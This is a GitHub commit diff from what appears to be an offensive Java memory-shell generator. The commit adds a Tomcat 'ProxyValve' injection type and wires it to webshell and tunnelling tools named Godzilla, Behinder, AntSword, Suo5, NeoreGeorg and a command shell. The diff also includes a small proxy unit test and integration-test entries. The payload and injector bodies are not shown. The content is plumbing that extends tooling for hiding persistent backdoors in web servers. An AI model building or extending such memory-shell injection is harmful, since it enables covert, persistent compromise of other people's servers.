Skip to content

Commit 76001f6

Browse files
committed
feat: support Tomcat ProxyValve shell
1 parent 081a258 commit 76001f6

File tree

14 files changed

+307
-7
lines changed

14 files changed

+307
-7
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -118,6 +118,8 @@ public enum Server {
118118
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
119119
.addShellClass(VALVE, GodzillaValve.class)
120120
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
121+
.addShellClass(PROXY_VALVE, Godzilla.class)
122+
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
121123
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
122124
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
123125
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
@@ -146,6 +148,8 @@ public enum Server {
146148
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
147149
.addShellClass(VALVE, BehinderValve.class)
148150
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
151+
.addShellClass(PROXY_VALVE, Behinder.class)
152+
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
149153
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
150154
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
151155
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
@@ -164,6 +168,7 @@ public enum Server {
164168
.addShellClass(FILTER, AntSwordFilter.class)
165169
.addShellClass(LISTENER, AntSwordListener.class)
166170
.addShellClass(VALVE, AntSwordValve.class)
171+
.addShellClass(PROXY_VALVE, AntSword.class)
167172
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
168173
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
169174
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
@@ -184,6 +189,8 @@ public enum Server {
184189
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
185190
.addShellClass(VALVE, CommandValve.class)
186191
.addShellClass(JAKARTA_VALVE, CommandValve.class)
192+
.addShellClass(PROXY_VALVE, Command.class)
193+
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
187194
.addShellClass(WEBSOCKET, CommandWebSocket.class)
188195
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
189196
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
@@ -212,6 +219,8 @@ public enum Server {
212219
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
213220
.addShellClass(VALVE, Suo5Valve.class)
214221
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
222+
.addShellClass(PROXY_VALVE, Suo5.class)
223+
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
215224
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
216225
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
217226
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
@@ -235,6 +244,8 @@ public enum Server {
235244
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
236245
.addShellClass(VALVE, NeoreGeorgValve.class)
237246
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
247+
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
248+
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
238249
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
239250
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
240251
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,15 +6,18 @@
66
*/
77
public class ShellType {
88

9+
public static final String JAKARTA = "Jakarta";
910
public static final String SERVLET = "Servlet";
10-
public static final String JAKARTA_SERVLET = "JakartaServlet";
11+
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
1112
public static final String FILTER = "Filter";
12-
public static final String JAKARTA_FILTER = "JakartaFilter";
13+
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
1314
public static final String LISTENER = "Listener";
14-
public static final String JAKARTA_LISTENER = "JakartaListener";
15+
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
1516

1617
public static final String VALVE = "Valve";
17-
public static final String JAKARTA_VALVE = "JakartaValve";
18+
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
19+
public static final String PROXY_VALVE = "Proxy" + VALVE;
20+
public static final String JAKARTA_PROXY_VALVE = JAKARTA_VALVE + PROXY_VALVE;
1821

1922
public static final String NETTY_HANDLER = "NettyHandler";
2023

generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
import com.reajason.javaweb.memshell.injector.tomcat.*;
44
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
55
import net.bytebuddy.asm.Advice;
6-
import net.bytebuddy.implementation.bytecode.assign.Assigner;
76

87
import static com.reajason.javaweb.memshell.ShellType.*;
98

@@ -39,6 +38,8 @@ public InjectorMapping getShellInjectorMapping() {
3938
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
4039
.addInjector(VALVE, TomcatValveInjector.class)
4140
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
41+
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
42+
.addInjector(JAKARTA_PROXY_VALVE, TomcatProxyValveInjector.class)
4243
.addInjector(SERVLET, TomcatServletInjector.class)
4344
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
4445
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
package com.reajason.javaweb.memshell.shelltool;
2+
3+
import lombok.SneakyThrows;
4+
import org.apache.catalina.Valve;
5+
import org.apache.catalina.connector.Request;
6+
import org.apache.catalina.connector.Response;
7+
import org.junit.jupiter.api.Test;
8+
9+
import javax.servlet.ServletException;
10+
import java.io.IOException;
11+
import java.lang.reflect.InvocationHandler;
12+
import java.lang.reflect.Method;
13+
import java.lang.reflect.Proxy;
14+
15+
/**
16+
* @author ReaJason
17+
* @since 2025/6/2
18+
*/
19+
public class ProxyTest {
20+
21+
static class ValveProxy implements InvocationHandler {
22+
23+
private final Valve valve;
24+
25+
ValveProxy(Valve valve) {
26+
this.valve = valve;
27+
}
28+
29+
@Override
30+
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
31+
System.out.println("hello world" + method.getName());
32+
return method.invoke(valve, args);
33+
}
34+
}
35+
36+
static class TestValve implements Valve {
37+
38+
@Override
39+
public Valve getNext() {
40+
return null;
41+
}
42+
43+
@Override
44+
public void setNext(Valve valve) {
45+
46+
}
47+
48+
@Override
49+
public void backgroundProcess() {
50+
51+
}
52+
53+
@Override
54+
public void invoke(Request request, Response response) throws IOException, ServletException {
55+
System.out.println("invoke method");
56+
}
57+
58+
@Override
59+
public boolean isAsyncSupported() {
60+
return false;
61+
}
62+
}
63+
64+
@Test
65+
@SneakyThrows
66+
void test() {
67+
Valve valve = (Valve) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Valve.class}, new ValveProxy(new TestValve()));
68+
valve.invoke(null, null);
69+
}
70+
}

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@ static Stream<Arguments> casesProvider() {
5555
ShellType.JAKARTA_FILTER,
5656
ShellType.JAKARTA_LISTENER,
5757
ShellType.JAKARTA_VALVE,
58+
ShellType.JAKARTA_PROXY_VALVE,
5859
ShellType.JAKARTA_WEBSOCKET,
5960
ShellType.AGENT_FILTER_CHAIN,
6061
ShellType.CATALINA_AGENT_CONTEXT_VALVE

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,11 +56,12 @@ static Stream<Arguments> casesProvider() {
5656
ShellType.JAKARTA_FILTER,
5757
ShellType.JAKARTA_LISTENER,
5858
ShellType.JAKARTA_VALVE,
59+
ShellType.JAKARTA_PROXY_VALVE,
5960
ShellType.JAKARTA_WEBSOCKET,
6061
ShellType.AGENT_FILTER_CHAIN,
6162
ShellType.CATALINA_AGENT_CONTEXT_VALVE
6263
);
63-
List<Packers> testPackers = List.of(Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
64+
List<Packers> testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
6465
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
6566
}
6667

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,7 @@ static Stream<Arguments> casesProvider() {
5757
ShellType.JAKARTA_FILTER,
5858
ShellType.JAKARTA_LISTENER,
5959
ShellType.JAKARTA_VALVE,
60+
ShellType.JAKARTA_PROXY_VALVE,
6061
ShellType.JAKARTA_WEBSOCKET,
6162
ShellType.AGENT_FILTER_CHAIN,
6263
ShellType.CATALINA_AGENT_CONTEXT_VALVE

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,10 +57,11 @@ static Stream<Arguments> casesProvider() {
5757
ShellType.FILTER,
5858
ShellType.LISTENER,
5959
ShellType.VALVE,
60+
ShellType.PROXY_VALVE,
6061
ShellType.AGENT_FILTER_CHAIN,
6162
ShellType.CATALINA_AGENT_CONTEXT_VALVE
6263
);
63-
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
64+
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
6465
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
6566
}
6667

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@ static Stream<Arguments> casesProvider() {
5555
ShellType.FILTER,
5656
ShellType.LISTENER,
5757
ShellType.VALVE,
58+
ShellType.PROXY_VALVE,
5859
ShellType.AGENT_FILTER_CHAIN,
5960
ShellType.CATALINA_AGENT_CONTEXT_VALVE
6061
);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@ static Stream<Arguments> casesProvider() {
5555
ShellType.FILTER,
5656
ShellType.LISTENER,
5757
ShellType.VALVE,
58+
ShellType.PROXY_VALVE,
5859
ShellType.WEBSOCKET,
5960
ShellType.AGENT_FILTER_CHAIN,
6061
ShellType.CATALINA_AGENT_CONTEXT_VALVE

0 commit comments

Comments
 (0)